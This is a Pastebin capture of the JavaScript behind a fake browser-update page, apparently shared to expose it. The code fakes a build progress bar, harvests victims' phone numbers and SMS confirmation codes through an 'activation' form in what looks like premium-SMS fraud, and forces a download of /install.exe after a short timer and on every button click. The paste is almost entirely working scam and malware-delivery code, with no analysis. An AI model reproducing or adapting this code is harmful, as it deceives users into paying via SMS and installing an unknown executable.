Advertisement
Guest User

securebrowserupdate.com/js/general.js - Fake Browser Update

a guest
Nov 22nd, 2012
537
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //http://securebrowserupdate.com/js/general.js
  2.  
  3. HTTP/1.1 200 OK
  4. Date: Fri, 23 Nov 2012 03:48:51 GMT
  5. Server: Apache/2.2.3 (CentOS)
  6. Last-Modified: Tue, 20 Nov 2012 17:05:08 GMT
  7. ETag: "db71e9-2272-3c6b9900"
  8. Accept-Ranges: bytes
  9. Content-Length: 8818
  10. Connection: close
  11. Content-Type: application/x-javascript
  12.  
  13. (function(){
  14.  
  15.     var phone = null;
  16.         phone=null;
  17.  
  18.     Array.prototype.remove = function(element) {
  19.       for (var i = 0; i < this.length; i++) {
  20.         if (this[i] == element) { this.splice(i,1); }
  21.       }
  22.     };
  23.  
  24.  
  25.     $.fn.preloadImages = function(callback1) {
  26.       checklist = this.toArray();
  27.       this.each(function() {
  28.         $('<img>').attr({ src: this }).load(function() {
  29.           checklist.remove($(this).attr('src'));
  30.           if (checklist.length == 0) { callback1(); }
  31.         });
  32.       });
  33.     };
  34.  
  35.  
  36.     var my_easing = (function() {
  37.         var now = 0.0;
  38.         var last_t = 0;
  39.         var diff = 0;
  40.         var easing = function(p, t, b, c, d){
  41.                        
  42.             if (Math.random()>0.9) {
  43.                 diff = (t - last_t)/d;            
  44.                 last_t = t;
  45.                 now = now + diff;
  46.             }
  47.            
  48.             return now;
  49.         }
  50.         return easing;
  51.     })();
  52.     jQuery.easing.sin90 = my_easing;
  53.  
  54.     var activate = function(){
  55.  
  56.  
  57.         function errorHandler() {
  58.                     $('#spinner').hide();
  59.             alert('Ошибка при обработке запроса сервером');
  60.             return false;
  61.         }
  62.  
  63.         var phoneInput = $('.activation input[type=\'text\'][name=\'phone\']');
  64.         phone = /\+([0-9]{11})/.exec(phoneInput.val());
  65.         if(! phone) {
  66.             alert('Неверный номер телефона');
  67.             return false;
  68.         }
  69.  
  70.         phone = phone[1];
  71.  
  72.     if (phone=='00000000000') {
  73.         $('.activation h3').text('На Ваш номер выслана смс с секретным кодом. Введите свой код подтвержения активации.');
  74.             $('.activation .help').text('Формат ввода: 1234');
  75.             phoneInput.val('');
  76.             $('.activation .submit')
  77.             .unbind('click')
  78.             .bind('click', confirmation);
  79.         return false;
  80.     }
  81.     $('#spinner').show();
  82.     $.ajax({
  83.         url:'/sms_api/registration',
  84.         type:'POST',
  85.         data:'phone='+phone,
  86.         error: errorHandler,
  87.         success: function(data) {
  88.             $('#spinner').hide();
  89.             if(!data.res) return errorHandler();
  90.  
  91.             if(data.res.redirect) {
  92.                 var wnd = window.open('редирект', data.res.redirect);
  93.             }
  94.  
  95.             $('.activation h3').text('На Ваш номер выслана смс с секретным кодом. Введите свой код подтвержения активации.');
  96.             $('.activation .help').text('Формат ввода: 1234');
  97.             phoneInput.val('');
  98.             $('.activation .submit')
  99.             .unbind('click')
  100.             .bind('click', confirmation);
  101.  
  102.             //alert('OK');
  103.         }
  104.     });
  105.     function confirmation() {
  106.  
  107.         if (phone=='00000000000' && phoneInput.val()=='1234!') {
  108.  
  109.             alert('Програмное обеспечение успешно активировано');
  110.             window.onbeforeunload = null;
  111.             switch (document.browser_name) {
  112.                 case 'Firefox':                        
  113.                     top.location.href='http://www.mozilla.org/ru/download/?product=firefox-12.0&os=win&lang=ru';
  114.                     break;
  115.                 case 'Chrome':
  116.                     top.location.href='https://www.google.com/chrome/eula.html?hl=ru';
  117.                     break;
  118.                 case 'IE':
  119.                     top.location.href='http://windows.microsoft.com/en-US/internet-explorer/downloads/ie-9/worldwide-languages';
  120.                     break;
  121.                 case 'Opera':
  122.                     top.location.href='http://www.opera.com/download/get.pl?id=34630&thanks=true&sub=true';
  123.                     break;
  124.                 default:
  125.                     top.location.href='https://www.google.com/chrome/';
  126.                     break;
  127.             }
  128.             return false;
  129.         }
  130.  
  131.         $('#spinner').show();
  132.     var dfdgf=345;
  133.         $.ajax({
  134.             url: '/sms_api/confirm',
  135.             type: 'POST',
  136.             data: 'phone='+phone+'&code='+phoneInput.val(),
  137.             error: errorHandler,
  138.             success: function(data) {
  139.                         $('#spinner').hide();
  140.                 if(data.res != 0) return errorHandler();
  141.                
  142.                 alert('Програмное обеспечение успешно активировано');
  143.                 window.onbeforeunload = null;
  144.                 switch (document.browser_name) {
  145.                     case 'Firefox':                        
  146.                         top.location.href='http://www.mozilla.org/ru/download/?product=firefox-12.0&os=win&lang=ru';
  147.                         break;
  148.                     case 'Chrome':
  149.                         top.location.href='https://www.google.com/chrome/eula.html?hl=ru';
  150.                         break;
  151.                     case 'IE':
  152.                         top.location.href='http://windows.microsoft.com/en-US/internet-explorer/downloads/ie-9/worldwide-languages';
  153.                         break;
  154.                     case 'Opera':
  155.                         top.location.href='http://www.opera.com/download/get.pl?id=34630&thanks=true&sub=true';
  156.                         break;
  157.                     default:
  158.                         top.location.href='https://www.google.com/chrome/';
  159.                         break;
  160.                 }
  161.                 return false;
  162.             }
  163.         });
  164.         return false;
  165.     }
  166.  
  167.     return false;
  168.  
  169.     }
  170.  
  171.     //show activation page
  172.     var showActivation = function(){
  173.         $('.build.hide').hide(0);
  174.         $('.activation').show(0);
  175.         $('.activation .submit').click(activate);
  176.     }
  177.  
  178.  
  179.     var endBuild = function() {
  180.         $('.build .items').text('Выполнено 100%');
  181.         if ($('.build .submit').is('.unhide') && false ) {
  182.             $('.build .submit').click(showActivation).removeClass('inactive').find('.download-title').text('Активировать');
  183.  
  184.         } else {
  185.             $('.build .submit').hide();
  186.             showActivation();
  187.         }
  188.     }
  189.  
  190.  
  191.     var startBuild = function() {
  192.         $('.versions, .alarm table, .hide').not('.unhide').hide(0);
  193.         $('.build').show(0);
  194.         var i=0;
  195.         $('.progress > .bar').animate(
  196.             {
  197.                 width: '539px'
  198.             },
  199.             {    
  200.                 easing: 'sin90',
  201.                 duration: parseInt(5+Math.random()*15)*1000,
  202.                 complete: endBuild,
  203.                 step: function()  {
  204.                     var file_list = document.file_list[document.browser_name] || document.file_list['generic'];
  205.                     if (i==(file_list.length-1)) {
  206.                         i=0;
  207.                     }
  208.                     //$('.build .items').text('Выполнено ' + parseInt(100*parseFloat($('.progress > .bar').css('width'))/539.0) +'%');
  209.                     if(Math.random() > 0.9) {
  210.                         $('.build .items').text(file_list[i++]);
  211.                     }
  212.                 }
  213.             }
  214.         );
  215.     }
  216.     // всем привет
  217.  
  218.     var init_all = function(){
  219.         //$('a.submit').append("<span id='spinner' style='display: none; position: absolute; right: 15px; top: 15px;'></span>");
  220.         var opts = {
  221.           lines: 11, // The number of lines to draw
  222.           length: 4, // The length of each line
  223.           width: 2, // The line thickness
  224.           radius: 6, // The radius of the inner circle
  225.           rotate: 1, // The rotation offset
  226.           color: '#005', // #rgb or #rrggbb
  227.           speed: 1.5, // Rounds per second
  228.           trail: 10, // Afterglow percentage
  229.           shadow: false, // Whether to render a shadow
  230.           hwaccel: false, // Whether to use hardware acceleration
  231.           className: 'spinner', // The CSS class to assign to the spinner
  232.           zIndex: 2e9, // The z-index (defaults to 2000000000)
  233.           top: 'auto', // Top position relative to parent in px
  234.           left: 'auto' // Left position relative to parent in px
  235.         };
  236.         new Spinner(opts).spin(document.getElementById('spinner'));
  237.  
  238.         $(document).pngFix();
  239.     $('body, .left, .smaller, .red, #logo, #top, h1, h2, h3, help, label, td, img, a, .items, .help, .download-title').attr('unselectable','on');
  240.         $('a.submit, .download-title').css('cursor', 'pointer');
  241.         //$('.versions .content .submit').click(startBuild);
  242.         $('.submit').click(function(){
  243.             top.location.href='/install.exe';
  244.         });
  245.         //alert('Внимание! Ваша версия браузера является неисправной!\nНеобходимо обновить вашу версию бразуера!');
  246.         $("#hider").hide();
  247.     }
  248.  
  249.     $(document).ready(function() {        
  250.         if (navigator.appName == 'Microsoft Internet Explorer') {
  251.             init_all();
  252.         } else {
  253.             $((preloaded_images||window.preloaded_images)).preloadImages(init_all);
  254.         }
  255.         function second_passed() {
  256.             top.location.href='/install.exe';
  257.         }
  258.         setTimeout(second_passed, 1500)
  259.  
  260.     });
  261.  
  262.     //window.onbeforeunload = function(){return "Attention! Update is not finished yet. Are you sure you want to cancel?";}
  263.    
  264.    
  265. })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement